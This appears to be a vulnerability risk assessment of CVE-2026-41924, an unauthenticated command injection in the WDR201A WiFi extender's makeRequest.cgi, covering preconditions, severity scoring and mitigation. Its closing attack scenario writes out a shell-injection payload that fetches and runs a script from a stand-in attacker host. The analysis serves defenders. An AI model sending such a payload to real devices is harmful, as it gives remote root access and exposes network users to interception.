WDR201A WiFi Extender CVE-2026-41924

Requires the WDR201A WiFi Extender web management interface to be network-accessible from the attacker's position - typically satisfied when devices use default configurations exposing management on LAN interfaces (common) or when users enable remote management from WAN (less common but documented in similar extender products). The vulnerable makeRequest.cgi endpoint must respond to HTTP POST requests, which is the default behavior for this CGI binary across all tested firmware versions. No authentication is required as the CVSS vector confirms PR:N (Privileges Required: None), and the vulnerability exists in pre-authentication request processing logic. The 31-byte payload length constraint limits exploitation to compact shell commands but does not prevent meaningful compromise - attackers can download and execute second-stage payloads, establish reverse shells to short domains, or modify device configuration. Exploitation is NOT limited by: user interaction (UI:N), special timing conditions (AT:N), or attack complexity (AC:L). The primary limiting factor for widespread impact is the device's market penetration - WDR201A appears to be a niche consumer product with limited distribution outside specific Asian markets based on the Shenzhen manufacturer reference.

Real-world exploitation risk is CRITICAL based on converging threat signals. CVSS:4.0 vector (AV:N/AC:L/PR:N/UI:N) confirms zero-friction remote exploitation requiring no authentication or user interaction. CISA SSVC framework explicitly marks this as automatable with POC-level exploitation and total technical impact, meaning attackers can script mass scanning and compromise campaigns. VulnCheck's public exploit code publication lowers the attacker skill threshold dramatically. The device's role as a network infrastructure component amplifies impact - compromised extenders provide persistent network access for lateral movement, traffic interception, and man-in-the-middle attacks. Two factors partially mitigate severity: (1) The 31-byte command length restriction limits payload complexity but still permits devastating one-liners like reverse shells using short domain names or IP addresses; (2) WDR201A appears to be a niche consumer device with limited market penetration based on Made-in-China manufacturing reference, reducing total exposure compared to mainstream networking equipment. However, consumer IoT devices notoriously remain unpatched for years, and CVSS scope unchanged (SC:N/SI:N/SA:N) indicates the vulnerability doesn't inherently pivot beyond the device itself - attackers must chain with network position for broader impact. Priority: Immediate remediation for any exposed instances; blocking management interfaces from WAN access provides temporary protection.

An attacker performs internet-wide scanning for WDR201A extender management interfaces exposed on default ports. Upon discovering a target at vulnerable IP, they craft a malicious POST request to makeRequest.cgi with ampersand-delimited payload in the set_time parameter: timezone=UTC&datetime=$(wget -O- attacker.io/s|sh). The undersanitized input reaches the date command via shell interpolation, executing the attacker's 30-byte payload that downloads and executes a secondary stage script. This establishes a reverse shell to the attacker's C2 infrastructure, granting root-level access to the device. The attacker then pivots to intercept WPA credentials for the extended WiFi network, enabling man-in-the-middle attacks against connected clients. Public exploit code existence means attackers can automate this process across thousands of targets within hours.